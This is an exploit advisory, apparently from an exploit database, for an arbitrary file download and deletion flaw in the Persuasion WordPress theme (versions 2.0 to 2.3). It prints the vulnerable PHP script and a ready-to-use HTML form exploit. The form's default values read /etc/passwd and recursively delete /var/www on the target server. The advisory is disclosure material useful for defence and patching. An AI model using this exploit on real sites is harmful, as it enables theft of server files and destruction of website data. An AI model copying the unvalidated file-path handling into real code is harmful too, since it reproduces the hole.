WordPress Theme Persuasion 2.x - Arbitrary File Download / File Deletion

🗓️ 23 Dec 2013 00:00:00Reported by Interference SecurityType

WordPress Theme Persuasion 2.x - Arbitrary File Download and Deletio

 Exploit Title: Persuasion Wordpress Theme - Arbitrary File Download and File Deletion Exploit
 Date: 19 December 2013
 Exploit Author: Interference Security
 Vendor Homepage: http://mysitemyway.com/
 Software Link: http://mysitemyway.com/theme/persuasion-wordpress-theme/
 Version: Tested on 2.0 and 2.3

Details:
The vulnerable file is located at http://vulnerable-site.com/wp-content/themes/persuasion/lib/scripts/dl-skin.php
In exploit code, file name in first text box should be readable on the vulnerable server, then the vulnerable code allows it to be downloaded from the server. And the second textbox accepts a directory path. If it is writeable then vulnerable code will delete its contents.
An attacker can download readable files from the server and also can delete contents of writeable directories.


Vulnerable code:
<?php
$file = $_POST['_mysite_download_skin'];

if (file_exists($file)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename='.basename($file));
    header('Content-Transfer-Encoding: binary');
    header('Expires: 0');
    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
    header('Pragma: public');
    header('Content-Length: ' . filesize($file));
    ob_clean();
    flush();
    readfile($file);

    rrmdir($_POST['_mysite_delete_skin_zip']);
    exit;
}


function rrmdir($dir) {
  if (is_dir($dir)) {
    $objects = scandir($dir);
    foreach ($objects as $object) {
      if ($object != "." && $object != "..") {
        if (filetype($dir."/".$object) == "dir") rrmdir($dir."/".$object); else unlink($dir."/".$object);
      }
    }
    reset($objects);
    rmdir($dir);
  }
}

?>

Exploit Code:
<html>
<body>
<form action="http://vulnerable-site.com/wp-content/themes/persuasion/lib/scripts/dl-skin.php" method="post">
Existing file's name:<input type="text" name="_mysite_download_skin" value="/etc/passwd"><br>
Directory to be removed:<input type="text" name="_mysite_delete_skin_zip" value="/var/www"><font color=red>Use with caution it will delete the files and directories if it is writeable</font><br>
<input type="submit">
</form>
</body>
</html>


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Interference Security

23 Dec 2013 00:00Current

7.4High risk

Vulners AI Score7.4